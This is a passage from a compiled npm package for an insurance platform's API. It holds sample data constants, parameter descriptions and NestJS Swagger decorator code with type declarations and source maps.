templateSlug: 'initial_invoice',
entityType: 'initial_invoice',
description: 'random description',
isoContentType: 'application/pdf',
policyCode: 'pol_GSU66sljlHm5WkXK',
accountCode: 'acc_98J8m2vcOCZqzzVK',
entityId: 8,
requester: 'publicapi',
metadata: {
roofType: 'Flachdach',
},
payload: {
policyStartDate: baseDate.add(1, 'month').toISOString(),
},
fields: {
slug: 'policy-contract',
productSlug: 'product_slug',
description: 'Description of document',
filename: 'file-name.extension',
entityType: 'policy_contract',
productVersionId: '1',
s3Key: 'path/to/s3/folder/file-name.extension',
bucket: 'production-emil-documents-v2',
key: 'path/to/s3/folder/file-name.extension',
},
createdAt: exports.createdAt,
s3Key: 'ds/emil/publicapi/doc_x8ti8D3WHHHk8TYq',
contentType: core_1.ContentType.PDF,
filename: 'insurance document',
url: 'https://s3.amazon.com/insurance-application.extension',
ern,
},
productDocument: {
id: 1,
code: 'prdoc_x8ti8D3WHHHk8TYq',
productCode: 'pro_BTQ8hFUs1VdTkyNS',
productVersionId: 10,
slug: 'pre-application',
type: 'pre-application',
description: 'description of the document',
s3Key: 'ds/emil/publicapi/prdoc_x8ti8D3WHHHk8TYq',
url: 'https://s3.amazon.com/pre-application.extension',
contentType: core_1.ContentType.PDF,
filename: 'pre-application',
productSlug: 'car-insurance',
createdAt: exports.createdAt,
updatedAt: exports.updatedAt,
ern,
},
paymentMethod: {
id: 1,
code: 'pay_RYWESB6I8ZE2h1xM',
providerToken: 'F5nnsOg39hMxuVnP',
pspCustomerId: '82a2c8a8-05b3-4873-9dc7-0016baa26853',
psp: 'Braintree',
type: core_1.PaymentMethodType.Paypal,
},
sendEmailNotification: {
emailSubject: 'Notification from customer',
templateSlug: 'new-email-notification',
payload: {
firstName: 'Emil',
lastName: 'Mustermann',
get email() {
return `${this.firstName}.${this.lastName}@email.de`;
},
text: 'Hi I have a question...',
},
},
customCss: {
values: [
'{"logo":"data:image/png;base64,AAXNSR0I2MhPrHvP/Lw73l5cHAuQKV+56QFJATnaZalsbbt6/3zjDVxg {\\n#booking-funnel .modal-dialog .btn-link:hover {\\n color: #0056b3;\\n text-decoration: none;\\n}\\n\\n@media (max-width: 741px) {\\n #booking-funnel #booking-funnel-page .booking-funnel-wizard {\\n display: none!important;\\n }\\n}\\n\\n@media (min-width: 576px) {\\n #booking-funnel .modal-dialog {\\n max-width: 50%!important;\\n }\\n}"}',
],
},
customApplication: {
data: {
holder: {
firstname: 'Fredrik',
lastname: 'Mustermann',
street: 'Ackerstraße',
zip: '12345',
city: 'Berlin',
country: 'DE',
email: 'Fredrik.Mustermann@emil.de',
birthdate: 19900203,
profession: 'Gummiwärmer',
},
payment: {
iban: 'DE47700222000072564030',
mandate_signature_date: 20170601,
},
policy_information: {
origin: 20220701,
tariff: 'starter',
bmi: 20,
coverage: 500,
end_age: 55,
},
},
},
customApplicationResponse: {
application: {
timestamp: '2022-11-21T17:01:10.000Z',
policy_number: 'WSU-0006-367',
monthly_benefit: 500,
duration: 20,
end: 20450630,
tariff_name: 'starter',
monthly_premium: 8.11,
general_condition_version: 20220401,
status: 'ok',
},
},
createEstimateInvoice: {
data: {
birthdate: '2004-11-12',
coverage: core_1.CoverageType.VK,
bmi: 21,
end_ages: [60],
job_class: 1,
},
provider: 'squarelife',
},
dashboard: {
id: 2,
code: 'dash_Odu0J0wQP2y86ZMp',
name: 'Marktüberblick KFZ',
providerId: '82a2c8a8-05b3-4873-9dc7-0016baa26853',
provider: 'quick-sight',
category: 'premium-benchmarking',
product: 'car',
description: 'Description of the dashboard.',
createdAt: exports.createdAt,
updatedAt: exports.updatedAt,
},
scenarioAnalysis: {
id: 3,
code: 'sce_w-DbhddxHZ4UlTgL',
name: 'KFZ_EMIL',
dashboardName: 'Marktübersicht KFZ',
dashboardProviderId: '82a2c8a8-05b3-4873-9dc7-0016baa26853',
status: 'done',
day: dayNumber,
week: weekNumber,
year: yearNumber,
conditions: [
{
competitors: ['EMIL'],
coverageClasses: ['All'],
priceChangePercentage: 5,
},
],
insuranceStartDate: futureDate,
createdAt: exports.createdAt,
updatedAt: exports.updatedAt,
createdBy: 'Emil Mustermann',
product: 'car',
},
policyBillingDate: {
id: 1,
policyCode: 'pol_lrNW-YQXv2ZfB5w2',
nextBillingDate: futureDate,
isInvoiced: true,
},
userSetting: {
type: 'user',
...commonSetting,
},
tenantSetting: {
type: 'tenant',
...commonSetting,
},
inviteUser: {
id: 9,
emails: ['emil.mustermann@emil.de'],
roleIds: [1],
expiresOn: futureDate,
createdAt: exports.createdAt,
updatedAt: exports.updatedAt,
},
user: {
id: 1,
code: exports.userCode,
firstName: 'Emil',
lastName: 'Mustermann',
status: 'active',
email: 'emustermann@emil.de',
},
userRole: {
id: 1,
code: 'rol_O3TJ7PNiMfNyF10U',
label: 'EIS Admin',
description: 'This user has all permissions.',
createdAt: exports.createdAt,
updatedAt: exports.updatedAt,
},
userPermission: {
id: 3,
code: 'insurance.product.view',
module: 'insurance',
entity: 'product',
action: 'view',
category: 'management',
isScoped: true,
createdAt: exports.createdAt,
updatedAt: exports.updatedAt,
},
alert: {
id: 2,
code: 'alrt_RIQhw_nzbJWfyKB_',
name: 'KFZ_Alert',
type: 'price',
description: 'Description of the alert.',
insurers: ['All'],
channels: [2],
minFactor: -10,
maxFactor: 10,
product: 'car',
createdAt: exports.createdAt,
updatedAt: exports.updatedAt,
},
settlement: {
id: 5,
code: 'stl_RAeOEndE9TIK0C9a',
insuredObject: 'device1',
reserve: 3,
payment: 2,
recourse: 1,
claimCode: 'cla_OApuqMruf1KMe_u-',
currency: 'EUR',
createdAt: exports.createdAt,
updatedAt: exports.updatedAt,
},
report: {
id: 2,
code: 'rep_6K8hHe4b85su4fpV',
name: 'Weekly KPI Report KFZ',
product: 'car',
description: 'Description of the report.',
slug: 'KPI_Report_KFZ',
createdAt: exports.createdAt,
updatedAt: exports.updatedAt,
documentKey: 'ds/emil/reports/car/2023/10/KPI_Report_KFZ.pdf',
},
documentTemplate: {
name: 'SEPA template',
slug: 'SEPA-template',
label: 'SEPA-Lastschriftmandat',
layoutId: 1,
bodyTemplate: {
draftContent: 'Document template draft contents is placed here.',
},
content: 'Document template contents is placed here.',
productSlug: 'car-insurance',
owner: 'John Doe',
layout: {
name: 'new layout design',
slug: 'new-layout-design',
style: '{"documentFontFamily":"Arial",}',
},
},
searchableDocument: {
searchText: 'insurance companies',
ownerName: 'Emil',
name: 'insurance',
ownerId: '3|1',
keywords: ['insurance', 'companies'],
signedS3Url: 'https://s3.amazon.com/insurance-document.pdf',
rank: 9 / 100,
headlines: ['insurance', 'tariff'],
},
tariffComparison: {
insurerName: 'Emil',
tariffName: 'Premium',
groupTitle: 'Leistungen',
validFrom: `${monthNumber}/${yearNumber}`,
akbS3Key: `Emil_Premium_AKB_${monthNumber}.${yearNumber}.pdf`,
akbSignedUrl: `https://s3.amazon.com/Emil_Premium_AKB_${monthNumber}.${yearNumber}.pdf`,
ipidS3Key: 'Emil_Premium_IPID.pdf',
ipidSignedUrl: 'https://s3.amazon.com/Emil_Premium_IPID.pdf',
},
claimPartnerRole: {
code: 'cla_pr_r_jhWwc1Uykv7MuWjqwvLPq',
name: 'Driver',
productSlug: 'car-insurance',
},
claimPartner: {
partnerCode: 'pr_SwNhxHHnhNsvdDe6tPXOT',
claimPartnerRoleCode: 'cla_pr_r_jhWwc1Uykv7MuWjqwvLPq',
claimCode: 'cla_3TvEzvIl3Iwd71h8chg49',
},
payment: {
code: 'pay_tyvWbh320qfYlvVJ',
},
partner: {
code: 'pr_ecTjOhuwgcXChufCG0tvv',
number: '0000001',
},
partnerLink: {
partnerCode: 'pr_ecTjOhuwgcXChufCG0tvv',
partnerNumber: '0000001',
partnerRoleCode: 'pr_r_jhWwc1Uykv7MuWjqwvLPq',
partnerRoleSlug: 'intermediary',
},
decisionTable: {
code: 'dmn_c2BuU1ysGBRgPbR5wzvqY',
slug: 'discount-table',
name: 'Discount decision table',
filename: 'decision-table.dmn',
},
decisionTableVersion: {
code: 'dmn_ver_42QZZCWDC1H3JLHq6JGja',
},
exceedingCredit: {
code: 'exc_Vf3Lw1mWg-9YkHZtS2dQx',
},
bankTransaction: {
code: 'btrx_JJbEsGKIZyrgrhrPf5Jhb',
},
comment: {
id: 1,
code: 'cmnt_a_XYz123AbCdEf',
entityType: 'Policy',
entityCode: 'pol_Qei9aALKz-pYPZ2V',
content: 'This policy needs review before approval.',
userCode: exports.userCode,
userName: 'Emil Mustermann',
isEdited: false,
status: 'ACTIVE',
createdAt: exports.createdAt,
updatedAt: exports.updatedAt,
createdBy: exports.sub,
updatedBy: exports.sub,
},
commentWithParent: {
id: 2,
code: 'cmnt_b_FFzNWna2',
entityType: 'Claim',
entityCode: 'cla_KZ27gC73R_0Fy55A',
content: 'I agree, we should proceed with the claim processing.',
userCode: exports.userCode,
userName: 'Emil Mustermann',
isEdited: true,
status: 'ACTIVE',
createdAt: exports.createdAt,
updatedAt: exports.updatedAt,
createdBy: exports.sub,
updatedBy: exports.sub,
parentCommentCode: 'cmnt_a_XYz123AbCdEf',
},
};
exports.apiDescriptions = {
metadata: 'Metadata contains extra information that the object would need for specific cases.',
expand: `Use this parameter to fetch additional information about the list items.
The expand query parameter increases the set of fields that appear in the response in addition to the default ones.
Expanding resources can reduce the number of API calls required to accomplish a task. However,
use this with parsimony as some expanded fields can drastically increase payload size.`,
pageToken: `A cursor for use in pagination. pageToken is an ID that defines your place in the list.
For instance, if you make a list request and receive 100 objects and pageToken=1,
your subsequent call can include pageToken=2 in order to fetch the next page of the list.`,
pageSize: 'A limit on the number of objects to be returned. Limit ranges between 1 and 100. Default: 10.',
order: `The order parameter determines how the results should be sorted according to a specified field.
It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.`,
filter: 'Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.',
lead: {
code: 'The lead code is used in cases where the lead has been initiated before the lead creation.',
productVersionId: `The product version id of the product version to be used for the lead.
The product version id will be validated if the 'validate' flag is set to true.`,
status: `Lead status. Default values are "created", "approved" and "declined".
However, those can be extended using /lead-statuses endpoint from insuranceservice.`,
account: {
description: `Account object. The create lead request should either contain accountCode or account.
The account content will be validated if the 'validate' flag is set to true. an empty object is required if 'validate flag is set to false.`,
title: 'Optional field to enter the honorific title you want to be called.',
firstName: `The account's holder first name.
The account's first name will be validated if the 'validate' flag is set to true.`,
lastName: `The account's holder first name.
The account's first name will be validated if the 'validate' flag is set to true.`,
email: `The account's holder email address. It is displayed alongside the account in your dashboard
and can be useful for searching and tracking.
The account's email address will be validated if the 'validate' flag is set to true.`,
gender: `The account's holder gender.
The account's gender will be validated if the 'validate' flag is set to true.`,
street: `The account's holder street name.
The account's street name will be validated if the 'validate' flag is set to true.`,
zipCode: `The account's holder ZIP or postal code.
The account's ZIP or postal code will be validated if the 'validate' flag is set to true.`,
city: `The account's holder city, district, suburb, town, or village.
The account's city will be validated if the 'validate' flag is set to true.`,
houseNumber: `The account's holder house number.
The account's house number will be validated if the 'validate' flag is set to true.`,
birthDate: `The account's holder date of birth (Required for account of type ${core_1.AccountType.Person}).
The account's date of birth will be validated if the 'validate' flag is set to true.`,
phone: `The account's holder phone number.
The account's phone number will be validated if the 'validate' flag is set to true.`,
type: `The account's type. Default value is ${core_1.AccountType.Person}`,
companyName: `The account's company name (Required for account of type ${core_1.AccountType.Organization}).
The account's company name will be validated if the 'validate' flag is set to true.`,
customFields: `Optional custom fields for account. It could be included additional required/optional fields
that the account would need for specific cases.`,
},
accountCode: `The account code is used in cases where the account has been created before the lead.
The create lead request should include either the 'accountCode' or 'account'.
The account code will be validated if the 'validate' flag is set to true.`,
policy: {
description: `The policy object contains necessary information to create a policy.
The Policy content will be validated if the 'validate' flag is set to true`,
accountCode: 'The account code of the account the policy is attached to.',
holder: 'Policy holder name. If not provided, the account holder name will be used.',
},
bankAccount: `Bank account details, to be used for direct debit payments,
the created bank account will be attached to the lead for later use, such as paying claims.
The bank account content will be validated if the 'validate' flag is set to true.`,
uploadedDocument: `Used to pass pre-uploaded documents to the lead.
By providing the codes of the uploaded documents, they will be attached to the lead.
The uploaded document content will be validated if the 'validate' flag is set to true.`,
premiumOverride: `Premium Override is utilized to override the premium calculation.
The premium formulas will be disregarded when this object is present.
The premium override content will be validated if the 'validate' flag is set to true.`,
paymentMethod: `Payment method, used to for payment method support, such as SEPA, invoice, etc.
The payment method content will be validated if the 'validate' flag is set to true.`,
validate: `The validation indicator, with a default value of true, serves as a toggle.
When set to false, it allows the bypassing of validation—a useful option for saving leads for later processing.
This feature provides flexibility by enabling users to choose whether to enforce validation checks during
the current stage or defer them for a subsequent time.`,
policyObjects: {
description: `The policy objects contains necessary information to create a policy.
The Policy objects array will be validated if the 'validate' flag is set to true`,
insuredObjectId: `The id of the insured object to be used in the policy.
The insured object id will be validated if the 'validate' flag is set to true.`,
data: `Insured object data.
The date will be validated if the 'validate' flag is set to true.`,
insuredObjectName: `Insured object name. Human readable identifier of insured object.
Can be used instead of insuredObjectId`,
},
customData: `Optional custom data for the lead.
This field is useful for edge cases where the lead requires additional data for the risk carrier,
such as creating an application in the risk carrier platform or performing a premium calculation.
The custom data should include three main entities: 'data', 'provider', and 'productCode'.
The 'data' entity contains information used in the risk carrier platform,
the 'provider' field contains the name of the provider (usually the risk carrier's name), the provider must be supported in EMIL,
The 'productCode' field contains the product code in EMIL`,
partner: {
description: `Optional partner object contains necessary information to link a partner to the policy.
The partner content will be validated if the 'validate' flag is set to true.`,
partnerCode: `The code of the partner with which the lead will be linked.
Either this field or 'partnerNumber' must be passed ('partnerNumber' is preferred).`,
partnerNumber: `The number of the partner with which the lead will be linked.
Either this field or 'partnerCode' must be passed (this is preferred).`,
partnerRoleCode: `The code of role that the partner will have in the established link between the lead and the partner.
Either this field or 'partnerRoleSlug' must be passed ('partnerRoleSlug' is preferred).`,
partnerRoleSlug: `The slug of role that the partner will have in the established link between the lead and the partner.
Either this field or 'partnerRoleCode' must be passed (this is preferred).`,
startDate: `The date of the start of linking with a partner.`,
},
},
invoiceItem: {
billingIntervalFrom: 'This is the date at which the invoice item interval starts.',
billingIntervalTo: 'This is the date at which the invoice item interval ends.',
},
invoice: {
dueDate: 'The due date of the invoice. This specifies the deadline by which the invoice should be paid.',
policy: 'The policy object that the invoice is attached to. This contains all relevant policy details associated with this invoice.',
calculateProRata: 'A boolean flag indicating whether the invoice should be calculated on a pro rata basis. When true, the invoice amount is adjusted proportionally based on the duration of service.',
billingIntervalFrom: 'The start date of the billing interval. This is the date from which the invoice period begins.',
billingIntervalTo: 'The end date of the billing interval. This is the date until which the invoice period runs. Together with billingIntervalFrom, it defines the time period for which the invoice is issued.',
},
ern: 'Emil Resources Names (ERN) identifies the most specific owner of a resource.',
};
exports.dateSamples = {
createdAt: exports.createdAt,
updatedAt: exports.updatedAt,
dayNumber,
weekNumber,
monthNumber,
year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HAA4H;QAC9H,gBAAgB,EACd,oLAAoL;QACtL,mBAAmB,EACjB,gGAAgG;QAClG,iBAAiB,EACf,4LAA4L;KAC/L;IACD,GAAG,EAAE,8EAA8E;CACpF,CAAC;AAEW,QAAA,WAAW,GAAG;IACzB,SAAS,EAAT,iBAAS;IACT,SAAS,EAAT,iBAAS;IACT,SAAS;IACT,UAAU;IACV,WAAW;IACX,UAAU;IACV,UAAU;CACX,CAAC"}
export * from './constants';
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __exportStar = (this && this.__exportStar) || function(m, exports) {
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
};
Object.defineProperty(exports, "__esModule", { value: true });
__exportStar(require("./constants"), exports);
//# sourceMappingURL=index.js.map
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../lib/constants/index.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;AAAA,8CAA4B"}
import { ApiOperationOptions } from '@nestjs/swagger';
export interface DeleteParameters {
name: string;
}
export declare function ApiDeleteOperation(options: DeleteParameters & ApiOperationOptions): MethodDecorator;
export declare function ApiDeleteOperationById(options: DeleteParameters & ApiOperationOptions): MethodDecorator;
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.ApiDeleteOperation = ApiDeleteOperation;
exports.ApiDeleteOperationById = ApiDeleteOperationById;
const swagger_1 = require("@nestjs/swagger");
const lodash_1 = __importDefault(require("lodash"));
function ApiDeleteOperation(options) {
const { name } = options;
const opts = lodash_1.default.omit(options, ['name']);
return (0, swagger_1.ApiOperation)({
summary: `Delete the ${name}`,
description: `Permanently deletes the ${name}. Supply the unique code that was returned when you created the ${name} and this will delete it.`,
...opts,
});
}
function ApiDeleteOperationById(options) {
const { name } = options;
const opts = lodash_1.default.omit(options, ['name']);
return (0, swagger_1.ApiOperation)({
summary: `Delete the ${name}`,
description: `Permanently deletes the ${name}. Supply the unique id that was returned when you created the ${name} and this will delete it.`,
...opts,
});
}
//# sourceMappingURL=api-delete.decorator.js.map
{"version":3,"file":"api-delete.decorator.js","sourceRoot":"","sources":["../../lib/decorators/api-delete.decorator.ts"],"names":[],"mappings":";;;;;AAOA,gDAWC;AAED,wDAYC;AAhCD,6CAAoE;AACpE,oDAAuB;AAMvB,SAAgB,kBAAkB,CAChC,OAA+C;IAE/C,MAAM,EAAE,IAAI,EAAE,GAAG,OAAO,CAAC;IACzB,MAAM,IAAI,GAAG,gBAAC,CAAC,IAAI,CAAC,OAAO,EAAE,CAAC,MAAM,CAAC,CAAC,CAAC;IAEvC,OAAO,IAAA,sBAAY,EAAC;QAClB,OAAO,EAAE,cAAc,IAAI,EAAE;QAC7B,WAAW,EAAE,2BAA2B,IAAI,mEAAmE,IAAI,2BAA2B;QAC9I,GAAG,IAAI;KACR,CAAC,CAAC;AACL,CAAC;AAED,SAAgB,sBAAsB,CACpC,OAA+C;IAE/C,MAAM,EAAE,IAAI,EAAE,GAAG,OAAO,CAAC;IAEzB,MAAM,IAAI,GAAG,gBAAC,CAAC,IAAI,CAAC,OAAO,EAAE,CAAC,MAAM,CAAC,CAAC,CAAC;IAEvC,OAAO,IAAA,sBAAY,EAAC;QAClB,OAAO,EAAE,cAAc,IAAI,EAAE;QAC7B,WAAW,EAAE,2BAA2B,IAAI,iEAAiE,IAAI,2BAA2B;QAC5I,GAAG,IAAI;KACR,CAAC,CAAC;AACL,CAAC"}
import { ApiOperationOptions } from '@nestjs/swagger';
export type GetParameters = {
name: string;
};
export type ListParameters = {
namePlural: string;
};
export type GetHealthCheckParameters = {
serviceName: string;
};
export interface PaginateFieldsConfig {
allowedFilters?: string[];
allowedSearches?: string[];
allowedOrders?: string[];
allowedExpands?: string[];
}
export declare function ApiGetOperation(options: GetParameters & ApiOperationOptions, allowedExpands?: string[]): MethodDecorator;
export declare function ApiGetHealthCheckOperation(options: GetHealthCheckParameters & ApiOperationOptions): MethodDecorator;
export declare function ApiGetOperationById(options: GetParameters & ApiOperationOptions, allowedExpands?: string[]): MethodDecorator;
export declare function ApiListOperation(options: ListParameters & ApiOperationOptions, paginateConfig?: PaginateFieldsConfig): MethodDecorator;
export declare function ApiListOperationV2(options: ListParameters & ApiOperationOptions, paginateConfig?: PaginateFieldsConfig): MethodDecorator;
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.ApiGetOperation = ApiGetOperation;
exports.ApiGetHealthCheckOperation = ApiGetHealthCheckOperation;
exports.ApiGetOperationById = ApiGetOperationById;
exports.ApiListOperation = ApiListOperation;
exports.ApiListOperationV2 = ApiListOperationV2;
const common_1 = require("@nestjs/common");
const swagger_1 = require("@nestjs/swagger");
const lodash_1 = __importDefault(require("lodash"));
const EMPTY_EXPAND_EXAMPLE_MSG = 'Entity has no possible expands';
function ApiGetOperation(options, allowedExpands) {
const { name } = options;
const opts = lodash_1.default.omit(options, ['name']);
return (0, common_1.applyDecorators)((0, swagger_1.ApiOperation)({
summary: `Retrieve the ${name}`,
description: `Retrieves the details of the ${name} that was previously created. Supply the unique ${name} code
that was returned when you created it and Emil Api will return the corresponding ${name} information.`,
...opts,
}), ...(allowedExpands?.length ? [generateExpandApiQuery(allowedExpands)] : []));
}
function ApiGetHealthCheckOperation(options) {
const { serviceName } = options;
const opts = lodash_1.default.omit(options, ['serviceName']);
return (0, swagger_1.ApiOperation)({
summary: 'Health Check',
description: `Returns the health status of the ${serviceName} service.
This endpoint is used to monitor the operational status of the ${serviceName} service.
It typically returns a simple status indicator, such as 'UP' or 'OK', confirming that the service is operational and available.`,
...opts,
});
}
function ApiGetOperationById(options, allowedExpands) {
const { name } = options;
const opts = lodash_1.default.omit(options, ['name']);
return (0, common_1.applyDecorators)((0, swagger_1.ApiOperation)({
summary: `Retrieve the ${name}`,
description: `Retrieves the details of the ${name} that was previously created.
Supply the unique ${name} id that was returned when you created it and Emil Api will return the corresponding ${name} information.`,
...opts,
}), ...(allowedExpands?.length ? [generateExpandApiQuery(allowedExpands)] : []));
}
function ApiListOperation(options, paginateConfig) {
const { namePlural } = options;
const opts = lodash_1.default.omit(options, ['namePlural']);
if (paginateConfig) {
return generateApiListOperationWithApiQueries(paginateConfig, opts, namePlural);
}
return (0, swagger_1.ApiOperation)({
summary: `List ${namePlural}`,
description: `Returns a list of ${namePlural} you have previously created.
The ${namePlural} are returned in sorted order, with the oldest one appearing first.
For more information about pagination, read the Pagination documentation.`,
...opts,
});
}
function ApiListOperationV2(options, paginateConfig) {
const { namePlural } = options;
const opts = lodash_1.default.omit(options, ['namePlural']);
if (paginateConfig) {
return generateApiListOperationWithApiQueries(paginateConfig, opts, namePlural, { excludeLegacyFilter: true });
}
return (0, swagger_1.ApiOperation)({
summary: `List ${namePlural}`,
description: `Returns a list of ${namePlural} you have previously created.
The ${namePlural} are returned in sorted order, with the oldest one appearing first.
For more information about pagination, read the Pagination documentation.`,
...opts,
});
}
function generateApiListOperationWithApiQueries(paginateConfig, options, namePlural, { excludeLegacyFilter = false } = {}) {
const decorators = [];
decorators.push((0, swagger_1.ApiOperation)({
summary: `List ${namePlural}`,
description: `Returns a list of ${namePlural} you have previously created.
The ${namePlural} are returned in sorted order, with the oldest one appearing first.
For more information about pagination, read the Pagination documentation.`,
...options,
}));
if (paginateConfig.allowedFilters &&
paginateConfig.allowedFilters.length > 0) {
if (!excludeLegacyFilter) {
decorators.push((0, swagger_1.ApiQuery)({
name: 'filter',
type: 'string',
description: `Filter the response by one or multiple fields.
In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/>
<br/>
<i>Allowed values: ${paginateConfig.allowedFilters.join(', ')}</i>`,
example: `filter=${paginateConfig.allowedFilters[0]}=valueToFilter`,
required: false,
}));
}
decorators.push((0, swagger_1.ApiQuery)({
name: 'filters',
type: 'string',
description: `Filters the response by one or multiple fields.
Advanced filter functionality allows you to perform more complex filtering operations.<br/>
<br/>
<i>Allowed values: ${paginateConfig.allowedFilters.join(', ')}</i>`,
example: `filters=${paginateConfig.allowedFilters[0]}==valueToFilter,${paginateConfig.allowedFilters[1] || 'secondFilter'}!=valueToFilterOut`,
required: false,
}));
}
if (paginateConfig.allowedSearches &&
paginateConfig.allowedSearches.length > 0) {
decorators.push((0, swagger_1.ApiQuery)({
name: 'search',
type: 'string',
description: `Search the response for matches in any searchable field.
Use filter instead where possible for improved performance.<br/>
<br/>
<i>Searchable fields: ${paginateConfig.allowedSearches.join(', ')}</i>`,
example: 'search=textToSearch',
required: false,
}));
}
if (paginateConfig.allowedOrders && paginateConfig.allowedOrders.length > 0) {
decorators.push((0, swagger_1.ApiQuery)({
name: 'order',
type: 'string',
description: `Order allows you to specify the desired order of entities retrieved from the server by
ascending (ASC) or descending (DESC) order.<br/>
<br/>
<i>Allowed values: ${paginateConfig.allowedOrders.join(', ')}</i>`,
example: `order=${paginateConfig.allowedOrders[0]}:DESC`,
required: false,
}));
}
decorators.push(generateExpandApiQuery(paginateConfig.allowedExpands ?? []));
return (0, common_1.applyDecorators)(...decorators);
}
function generateExpandApiQuery(allowedExpands) {
const hasValidExpands = allowedExpands.length > 0;
return (0, swagger_1.ApiQuery)({
name: 'expand',
type: 'string',
description: `Expand to fetch additional information about the list items.
Expanding resources can reduce the number of API calls required to accomplish a task.
Use with discretion as some expanded fields can drastically increase payload size.<br/>
<br/>
${hasValidExpands ? `<i>Allowed values: ${allowedExpands.join(', ')}<i>` : ''}`,
example: hasValidExpands
? `expand=${allowedExpands[0]}`
: EMPTY_EXPAND_EXAMPLE_MSG,
required: false,
});
}
//# sourceMappingURL=api-get.decorator.js.map
{"version":3,"file":"api-get.decorator.js","sourceRoot":"","sources":["../../lib/decorators/api-get.decorator.ts"],"names":[],"mappings":";;;;;AAwBA,0CAiBC;AAED,gEAcC;AAED,kDAiBC;AAED,4CAwBC;AAED,gDAwBC;AAhID,2CAAiD;AACjD,6CAA8E;AAC9E,oDAAuB;AAEvB,MAAM,wBAAwB,GAAG,gCAAgC,CAAC;AAoBlE,SAAgB,eAAe,CAC7B,OAA4C,EAC5C,cAAyB;IAEzB,MAAM,EAAE,IAAI,EAAE,GAAG,OAAO,CAAC;IAEzB,MAAM,IAAI,GAAG,gBAAC,CAAC,IAAI,CAAC,OAAO,EAAE,CAAC,MAAM,CAAC,CAAC,CAAC;IAEvC,OAAO,IAAA,wBAAe,EACpB,IAAA,sBAAY,EAAC;QACX,OAAO,EAAE,gBAAgB,IAAI,EAAE;QAC/B,WAAW,EAAE,gCAAgC,IAAI,mDAAmD,IAAI;uFACvB,IAAI,eAAe;QACpG,GAAG,IAAI;KACR,CAAC,EACF,GAAG,CAAC,cAAc,EAAE,MAAM,CAAC,CAAC,CAAC,CAAC,sBAAsB,CAAC,cAAc,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CAC5E,CAAC;AACJ,CAAC;AAED,SAAgB,0BAA0B,CACxC,OAAuD;IAEvD,MAAM,EAAE,WAAW,EAAE,GAAG,OAAO,CAAC;IAEhC,MAAM,IAAI,GAAG,gBAAC,CAAC,IAAI,CAAC,OAAO,EAAE,CAAC,aAAa,CAAC,CAAC,CAAC;IAE9C,OAAO,IAAA,sBAAY,EAAC;QAClB,OAAO,EAAE,cAAc;QACvB,WAAW,EAAE,oCAAoC,WAAW;uEACO,WAAW;sIACoD;QAClI,GAAG,IAAI;KACR,CAAC,CAAC;AACL,CAAC;AAED,SAAgB,mBAAmB,CACjC,OAA4C,EAC5C,cAAyB;IAEzB,MAAM,EAAE,IAAI,EAAE,GAAG,OAAO,CAAC;IAEzB,MAAM,IA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CAAC,CAAC,CAAC,EAAE,EAAE;QACjF,OAAO,EAAE,eAAe;YACtB,CAAC,CAAC,UAAU,cAAc,CAAC,CAAC,CAAC,EAAE;YAC/B,CAAC,CAAC,wBAAwB;QAC5B,QAAQ,EAAE,KAAK;KAChB,CAAC,CAAC;AACL,CAAC"}
import { BaseParameterObject } from '@nestjs/swagger/dist/interfaces/open-api-spec.interface';
export declare function ApiIdempotencyHeader(options?: BaseParameterObject): MethodDecorator;
export declare function ApiAuthorizationHeader(options?: BaseParameterObject): MethodDecorator & ClassDecorator;
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.ApiIdempotencyHeader = ApiIdempotencyHeader;
exports.ApiAuthorizationHeader = ApiAuthorizationHeader;
const swagger_1 = require("@nestjs/swagger");
function ApiIdempotencyHeader(options) {
return (0, swagger_1.ApiHeader)({
name: 'Idempotency-Key',
description: `Idempotency Key used to make the request idempotent. The key should be unique.
Usually, a generated v4 UUID is enough. For more information about Idempotency, check out the documentation.`,
required: true,
...options,
});
}
function ApiAuthorizationHeader(options) {
return (0, swagger_1.ApiHeader)({
name: 'Authorization',
description: 'Bearer Token: provided by the login endpoint under the name accessToken.',
...options,
});
}
//# sourceMappingURL=api-headers.decorator.js.map
{"version":3,"file":"api-headers.decorator.js","sourceRoot":"","sources":["../../lib/decorators/api-headers.decorator.ts"],"names":[],"mappings":";;AAGA,oDAUC;AAED,wDASC;AAxBD,6CAA4C;AAG5C,SAAgB,oBAAoB,CAClC,OAA6B;IAE7B,OAAO,IAAA,mBAAS,EAAC;QACf,IAAI,EAAE,iBAAiB;QACvB,WAAW,EAAE;iHACgG;QAC7G,QAAQ,EAAE,IAAI;QACd,GAAG,OAAO;KACX,CAAC,CAAC;AACL,CAAC;AAED,SAAgB,sBAAsB,CACpC,OAA6B;IAE7B,OAAO,IAAA,mBAAS,EAAC;QACf,IAAI,EAAE,eAAe;QACrB,WAAW,EACT,0EAA0E;QAC5E,GAAG,OAAO;KACX,CAAC,CAAC;AACL,CAAC"}
import { ApiParamOptions } from '@nestjs/swagger';
export declare function ApiCodeParam(name?: string, options?: ApiParamOptions): MethodDecorator;
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.ApiCodeParam = ApiCodeParam;
const swagger_1 = require("@nestjs/swagger");
function ApiCodeParam(name = 'code', options) {
return (0, swagger_1.ApiParam)({
name,
description: 'Unique identifier for the object.',
...options,
});
}
//# sourceMappingURL=api-params.decorator.js.map
